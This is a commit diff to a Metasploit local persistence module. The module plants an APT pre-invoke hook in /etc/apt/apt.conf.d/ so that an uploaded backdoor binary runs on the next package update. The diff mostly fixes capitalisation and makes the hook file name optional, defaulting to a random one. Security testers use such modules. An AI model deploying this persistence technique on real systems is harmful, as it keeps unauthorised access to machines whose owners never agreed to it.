Dont require hook name

modules/exploits/linux/local/apt_package_manager_persistence.rb

@@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Local
       'Description'    => %q(
         This module will run a payload when the package manager is used. No
         handler is ran automatically so you must configure an appropriate
-        exploit/multi/handler to connect. Module creates a pre-invoke hook
+        exploit/multi/handler to connect. This module creates a pre-invoke hook
-        for APT in apt.conf.d. The Hook name syntax is numeric followed by text.
+        for APT in apt.conf.d. The hook name syntax is numeric followed by text.
       ),
       'License'        => MSF_LICENSE,
       'Author'         => ['Aaron Ringo'],
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
         ],
       'SessionTypes'   => ['shell', 'meterpreter'],
       'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
-      'DisclosureDate' => '1999-03-09', # Date Apt package manager was included in Debian
+      'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
       'References'     => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
       'Targets'        => [['Automatic', {}]],
       'DefaultTarget'  => 0
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Local
 
     register_options(
       [
-        OptString.new('HOOKNAME', [true, 'Name of hook file to write', '05new-hook']),
+        OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
         OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
       ])
 
@@ -56,9 +56,9 @@ class MetasploitModule < Msf::Exploit::Local
   def exploit
     hook_path = '/etc/apt/apt.conf.d/'
     unless writable? hook_path
-      fail_with Failure::BadConfig, "#{hook_path} not writable, or apt is not on system"
+      fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
     end
-    hook_path << datastore['HOOKNAME']
+    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
 
     backdoor_path = datastore['WritableDir']
     unless writable? backdoor_path
@@ -86,10 +86,9 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
     end
     print_status("Backdoor uploaded #{backdoor_path}")
-    print_status('Backdoor will run on next Apt update')
+    print_status('Backdoor will run on next APT update')
 
     # permissions chosen to reflect common perms in /usr/local/bin/
     chmod(backdoor_path, 0755)
-
   end
 end